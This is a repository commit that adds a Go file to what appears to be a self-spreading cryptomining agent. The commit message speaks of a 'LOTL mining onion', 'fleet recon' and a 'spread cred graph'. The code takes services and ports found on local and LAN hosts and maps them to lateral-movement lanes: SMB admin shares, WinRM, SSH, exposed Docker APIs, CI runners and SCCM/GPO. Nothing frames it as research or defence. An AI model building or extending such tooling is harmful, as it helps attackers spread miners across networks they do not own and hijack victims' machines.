Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
189
agent/deploy/service_graph.go
Normal file
189
agent/deploy/service_graph.go
Normal file
@@ -0,0 +1,189 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ServiceGraphEntry is one discovered service or port signal on a host.
|
||||
type ServiceGraphEntry struct {
|
||||
ServiceName string `json:"service_name"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
|
||||
Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
|
||||
}
|
||||
|
||||
// ServiceGraphHost groups service findings for one host on a subnet.
|
||||
type ServiceGraphHost struct {
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet,omitempty"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
}
|
||||
|
||||
// ServiceDiscoverResult is the JSON payload returned by service_discover.
|
||||
type ServiceDiscoverResult struct {
|
||||
ProbedAt string `json:"probed_at"`
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||
PassiveHints []string `json:"passive_hints,omitempty"`
|
||||
}
|
||||
|
||||
// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
|
||||
func JoinLaneForSignal(serviceName string, port int) string {
|
||||
name := strings.ToLower(strings.TrimSpace(serviceName))
|
||||
switch {
|
||||
case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
|
||||
return "smb"
|
||||
case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
|
||||
return "winrm"
|
||||
case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
|
||||
return "linux"
|
||||
case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
|
||||
return "docker"
|
||||
case strings.Contains(name, "wsl"):
|
||||
return "wsl"
|
||||
case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
|
||||
return "powershell"
|
||||
case strings.Contains(name, "dotnet"):
|
||||
return "dotnet"
|
||||
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
|
||||
return "bits_curl"
|
||||
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
|
||||
return "gpo"
|
||||
case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
|
||||
return "gpo"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func entryWithLane(name string, port int, source string) ServiceGraphEntry {
|
||||
return ServiceGraphEntry{
|
||||
ServiceName: name,
|
||||
Port: port,
|
||||
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||
Source: source,
|
||||
}
|
||||
}
|
||||
|
||||
// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
|
||||
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
|
||||
if base == nil {
|
||||
base = make(map[string]ServiceGraphHost)
|
||||
}
|
||||
for _, h := range hosts {
|
||||
host := strings.TrimSpace(h.Host)
|
||||
if host == "" {
|
||||
continue
|
||||
}
|
||||
existing, ok := base[host]
|
||||
if !ok {
|
||||
dup := h
|
||||
dup.Services = dedupeEntries(h.Services)
|
||||
base[host] = dup
|
||||
continue
|
||||
}
|
||||
if existing.Subnet == "" && h.Subnet != "" {
|
||||
existing.Subnet = h.Subnet
|
||||
}
|
||||
existing.Services = dedupeEntries(append(existing.Services, h.Services...))
|
||||
base[host] = existing
|
||||
}
|
||||
return base
|
||||
}
|
||||
|
||||
func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
|
||||
seen := make(map[string]bool, len(in))
|
||||
out := make([]ServiceGraphEntry, 0, len(in))
|
||||
for _, e := range in {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type windowsServiceRow struct {
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Port int `json:"port"`
|
||||
}
|
||||
|
||||
type windowsDiscoverPayload struct {
|
||||
Services []windowsServiceRow `json:"services"`
|
||||
Hints []string `json:"hints"`
|
||||
}
|
||||
|
||||
func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, row := range rows {
|
||||
name := strings.TrimSpace(row.Name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
port := row.Port
|
||||
if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
|
||||
if p := strings.TrimPrefix(name, "tcp/"); p != name {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
|
||||
port = n
|
||||
}
|
||||
}
|
||||
}
|
||||
entries = append(entries, ServiceGraphEntry{
|
||||
ServiceName: name,
|
||||
Port: port,
|
||||
Status: strings.TrimSpace(row.Status),
|
||||
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||
Source: "local_service",
|
||||
})
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
|
||||
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "UNIT") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 3 {
|
||||
continue
|
||||
}
|
||||
unit := fields[0]
|
||||
state := fields[2]
|
||||
if state != "active" && state != "running" {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
|
||||
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
return windowsRowsToEntries(payload.Services), payload.Hints
|
||||
}
|
||||
|
||||
// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
|
||||
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
|
||||
var result ServiceDiscoverResult
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
err := json.Unmarshal([]byte(raw), &result)
|
||||
return result, err
|
||||
}
|
||||
Reference in New Issue
Block a user